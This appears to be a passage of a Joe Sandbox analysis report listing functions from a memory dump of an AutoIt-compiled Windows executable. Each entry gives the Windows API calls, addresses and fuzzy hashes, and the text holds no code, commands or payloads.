Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 9c1f810d5551df713c4b2ace13d0b8e9dbbc2272e8b84314f4022ff993e32cb8
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 2301423284414EBBCF1A5E84CC058EE3F26BB19351B548615FA28591B1D336DA72FB81

Function 00C5B6B2 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00C5B6D1
ScreenToClient.USER32(?,?), ref: 00C5B6E9
ScreenToClient.USER32(?,?), ref: 00C5B70D
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00C5B728

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: d3a3ae3f7dfc6716b73e0744327eaa1a38b6959dac4c784ca7bdcad98aed27bb
Instruction ID: b14277c5935c57436be9f625ef244fe8efaf245bc0e7add2a1635d68fc187468
Opcode Fuzzy Hash: d3a3ae3f7dfc6716b73e0744327eaa1a38b6959dac4c784ca7bdcad98aed27bb
Instruction Fuzzy Hash: AD1143B9D00209EFDB51CF99C884AEEFBF9FB48311F104156E914E3610D775AA658F50

Function 00C5BA22 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C5BA31
_memset.LIBCMT ref: 00C5BA40
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00C97F20,00C97F64), ref: 00C5BA6F
CloseHandle.KERNEL32 ref: 00C5BA81

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: 38521aeb3a7262b39a20ccc5c0e34fca2c55e599ab11b6607d6014c1147013fc
Instruction ID: b442dc4f6c3a65ba2e82044faa57a5f1ea568e10492a8d6ff96817147c10dc14
Opcode Fuzzy Hash: 38521aeb3a7262b39a20ccc5c0e34fca2c55e599ab11b6607d6014c1147013fc
Instruction Fuzzy Hash: AEF082F25653487BEB1067A1AC4DFBF3A5CEB09751F000161FB08F62A1D7B19C1087A8

Function 00C37002 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00C3700E

Part of subcall function 00C37AEC: _memset.LIBCMT ref: 00C37B21

_memmove.LIBCMT ref: 00C37031
_memset.LIBCMT ref: 00C3703E
LeaveCriticalSection.KERNEL32(?), ref: 00C3704E

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 5f0d803fe1d8370151fa956d9c530e8597584815e969b8431657d38c8e0551c4
Instruction ID: c4371021b89bef0257eee151442d4bd93eec47b5f23929e035b3b3c0fdae0a4a
Opcode Fuzzy Hash: 5f0d803fe1d8370151fa956d9c530e8597584815e969b8431657d38c8e0551c4
Instruction Fuzzy Hash: D8F03076100104ABCF116F55DC85E5ABB69EF45360F0880A5FE085F227C771A915DBB4

Function 00C5C13F Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00BD16CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00BD1729
Part of subcall function 00BD16CF: SelectObject.GDI32(?,00000000), ref: 00BD1738
Part of subcall function 00BD16CF: BeginPath.GDI32(?), ref: 00BD174F
Part of subcall function 00BD16CF: SelectObject.GDI32(?,00000000), ref: 00BD1778

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00C5C163
LineTo.GDI32(00000000,?,?), ref: 00C5C170
EndPath.GDI32(00000000), ref: 00C5C180
StrokePath.GDI32(00000000), ref: 00C5C18E

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 5ee956a4f49c4c53e7ebee17b025365c04c893d0654b2366555aa6c1288a3f45
Instruction ID: 0682eca2c5605083efaee0e24b80528d66ab9fd45fe0f6d30cc82ca4c8c5b3fa
Opcode Fuzzy Hash: 5ee956a4f49c4c53e7ebee17b025365c04c893d0654b2366555aa6c1288a3f45
Instruction Fuzzy Hash: FDF0BE31001219BADB222F56AC0DFCF3F99AF06311F144000FA10310E187B54655DBA9

Function 00C2A835 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00C2A852
GetWindowThreadProcessId.USER32(?,00000000), ref: 00C2A865
GetCurrentThreadId.KERNEL32 ref: 00C2A86C
AttachThreadInput.USER32(00000000), ref: 00C2A873

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: afa32624aa3bfc0946cfda4296dc3669a92b67d7cb14c6bec53be5d954cbf3e3
Instruction ID: 3b0b74a5109fb470e32299242fef69ce2e8b82ae357715b8b0b7712ffab06645
Opcode Fuzzy Hash: afa32624aa3bfc0946cfda4296dc3669a92b67d7cb14c6bec53be5d954cbf3e3
Instruction Fuzzy Hash: 1DE0C931545228BBEB215BA3EC0DFEB7F5CEF167A1F108025F909A54A0C6B1CA51CBA1

Function 00BD25F4 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00BD260D
SetTextColor.GDI32(?,000000FF), ref: 00BD2617
SetBkMode.GDI32(?,00000001), ref: 00BD262C
GetStockObject.GDI32(00000005), ref: 00BD2634
GetWindowDC.USER32(?,00000000), ref: 00C0C0F4
GetPixel.GDI32(00000000,00000000,00000000), ref: 00C0C101
GetPixel.GDI32(00000000,?,00000000), ref: 00C0C11A
GetPixel.GDI32(00000000,00000000,?), ref: 00C0C133
GetPixel.GDI32(00000000,?,?), ref: 00C0C153
ReleaseDC.USER32(?,00000000), ref: 00C0C15E

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 4e6a0bf5ed1c926328a20820b261803581bb5a0501eccca213d8ef6fe0abeeee
Instruction ID: 55c2476d722b41cf8f816a1c2fe64f616a86e0273e5cec00d74ed6ce1a6e7b64
Opcode Fuzzy Hash: 4e6a0bf5ed1c926328a20820b261803581bb5a0501eccca213d8ef6fe0abeeee
Instruction Fuzzy Hash: E9E06531504244ABDB315F65AC497DD3B20EB16336F1483A6FA79580E187B14690DB12

Function 00C29113 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00C2911C
OpenThreadToken.ADVAPI32(00000000,?,?,?,00C28CE7), ref: 00C29123
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00C28CE7), ref: 00C29130
OpenProcessToken.ADVAPI32(00000000,?,?,?,00C28CE7), ref: 00C29137

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: c303c01a4639d12253b81d1392c9e891a80a7cfdd5f6d28d15aa087c139da735
Instruction ID: 132a37e7a2b80ae0afa86262b0a9a086ee98232db2cac722674f97a6d4a214c6
Opcode Fuzzy Hash: c303c01a4639d12253b81d1392c9e891a80a7cfdd5f6d28d15aa087c139da735
Instruction Fuzzy Hash: C9E08632601222ABD7701FB2BE0CB5F3B6CDF54792F204818F246E9050E6B48545CB50

Function 00C105A9 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00C105A9
GetDC.USER32(00000000), ref: 00C105B3
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00C105D3
ReleaseDC.USER32(?), ref: 00C105F4

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 5c1bb542814a47e348c9576067bfc1a8bd450803f9c0f752f6b58fff4f55da6c
Instruction ID: 9d694370d70fbd5d592324238aeb7307725c5aa7b37decc60950556903f50d5e
Opcode Fuzzy Hash: 5c1bb542814a47e348c9576067bfc1a8bd450803f9c0f752f6b58fff4f55da6c
Instruction Fuzzy Hash: B6E01A75804204EFCB119F62D908B9EBBF6EF8C310F208016FC5AA7350DBB885919F50

Function 00C105BD Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00C105BD
GetDC.USER32(00000000), ref: 00C105C7
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00C105D3
ReleaseDC.USER32(?), ref: 00C105F4

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: ba4b1628607b1113af10affe6402029cebe938f31a6d09ad3d319d668b01acbb
Instruction ID: 7818ff1bddbc373cdf787d6cda839264d4b5e357d646c9d3dcf08a006f60c3f7
Opcode Fuzzy Hash: ba4b1628607b1113af10affe6402029cebe938f31a6d09ad3d319d668b01acbb
Instruction Fuzzy Hash: 1EE01A75804204AFCB219F61D80879EBBF1AF8C310F208015FD59A7350DBB895518F50

Function 00C2BC6F Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 00C2BE3A

Strings

AutoIt3GUI, xrefs: 00C2BDB2
Container, xrefs: 00C2BDB7

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: 2d0317a4b93be6e554f2e745b40cd984a0d34aeccfe8a3b3d18f0a341925e735
Instruction ID: 0919a1882e993dc3c728263ee2fec8d60d36d21a22882fe1acd68f7d1e9a4c01
Opcode Fuzzy Hash: 2d0317a4b93be6e554f2e745b40cd984a0d34aeccfe8a3b3d18f0a341925e735
Instruction Fuzzy Hash: 00915970600611AFDB64DF24D884AAABBF8FF48710F10856DF95ACBAA1DB70ED45CB50

Function 00C3B45C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00BE436A: _wcscpy.LIBCMT ref: 00BE438D

Part of subcall function 00BD4D37: __itow.LIBCMT ref: 00BD4D62
Part of subcall function 00BD4D37: __swprintf.LIBCMT ref: 00BD4DAC

__wcsnicmp.LIBCMT ref: 00C3B4DD
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00C3B5A6

Strings

LPT, xrefs: 00C3B4D7

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: a2f8435056b7c36c3a3d4befa4f8293d62bef1aac9fe9153873133af235a1c78
Instruction ID: c4e4bae61513045b308543ea2a5b5e4e3898b33667e0f08da92323595ad1a6c6
Opcode Fuzzy Hash: a2f8435056b7c36c3a3d4befa4f8293d62bef1aac9fe9153873133af235a1c78
Instruction Fuzzy Hash: 50618775A10619EFCB18DF54C895EAEB7F5EF08310F1440A9F516AB391D770AE40CB94

Function 00BDE00D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00BDE01E
GlobalMemoryStatusEx.KERNEL32(?), ref: 00BDE037

Strings

@, xrefs: 00BDE02B

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 96337cb335c74db53fe6fe9f7cceb952cd622758aef236629ef886aee599fb3c
Instruction ID: 9e0ba46c2dbcdd8c7ed28c74148056413a3b27e541abbef1c59317933ad1c209
Opcode Fuzzy Hash: 96337cb335c74db53fe6fe9f7cceb952cd622758aef236629ef886aee599fb3c
Instruction Fuzzy Hash: DC5149714087449BE320AF54E886BAFF7F8FF88314F41489EF1D851191EB719969CB16

Function 00C42A3E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C42A4E
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00C42A84

Strings

|, xrefs: 00C42A55

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 271da8f13eb8e88f0b85e6e21226b48e8aa2667dca47d169d6b5e0cc24269bdc
Instruction ID: 23483c47208d7aec49084a5868b801e6e392a8511819025d232935c1f4ac518d
Opcode Fuzzy Hash: 271da8f13eb8e88f0b85e6e21226b48e8aa2667dca47d169d6b5e0cc24269bdc
Instruction Fuzzy Hash: 18313C71C00119ABCF11EFA5CC86AEEBFB8FF08304F100069FD15A6262EB315A56DB60

Function 00C56E50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00C56F04
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00C56F40

Strings

static, xrefs: 00C56EA0

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: d61d34a1d6c5b5c4aa03a1b66d493e33d75fc164ce09b36282e984d7abd52936
Instruction ID: f90ed79223bb95eb383c843259439599b3a00041b615894a979b68b6ef137fa4
Opcode Fuzzy Hash: d61d34a1d6c5b5c4aa03a1b66d493e33d75fc164ce09b36282e984d7abd52936
Instruction Fuzzy Hash: 8B31AB75100604AAEB108F64DC81BBB73A9FF88725F50861AFDA593290DB71AC85DB64

Function 00C32EB5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C32F24
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00C32F5F

Strings

0, xrefs: 00C32F1D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: cb566a29109539604d084396ef6b2dee9f7bf22ce88372a077b484178a5b9fd8
Instruction ID: 896e80bc4fa5931cffcb8c04a2d41a3ae0f9fc32179714ddf6da8441864d4348
Opcode Fuzzy Hash: cb566a29109539604d084396ef6b2dee9f7bf22ce88372a077b484178a5b9fd8
Instruction Fuzzy Hash: AD31D632620219AFEF249F99C885BAEBBF8EF09350F140019ED95E72A1D7709B44DF51

Function 00C56AC1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00C56B4E
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00C56B59

Strings

Combobox, xrefs: 00C56B1B

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 07e48bcfae726332cd4280033da92713da10c1ad4a0486d89e14b05af2274ee3
Instruction ID: baa758b26dfbf9d0cb160c0df5ad808d19bf37bd37b21dbcacc30a177f109d45
Opcode Fuzzy Hash: 07e48bcfae726332cd4280033da92713da10c1ad4a0486d89e14b05af2274ee3
Instruction Fuzzy Hash: 851104753002086FEF119F14CC81FFB7B6AEB843A5F604125FD28E7290D6719D90AB64

Function 00C56FF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00BD2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00BD214F
Part of subcall function 00BD2111: GetStockObject.GDI32(00000011), ref: 00BD2163
Part of subcall function 00BD2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00BD216D

GetWindowRect.USER32(00000000,?), ref: 00C5705E
GetSysColor.USER32(00000012), ref: 00C57078

Strings

static, xrefs: 00C5703B

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 94e8f4bbe948f9d5d1cd75a608dc85bd830de752d7f60d94ddde26c824f0b4f4
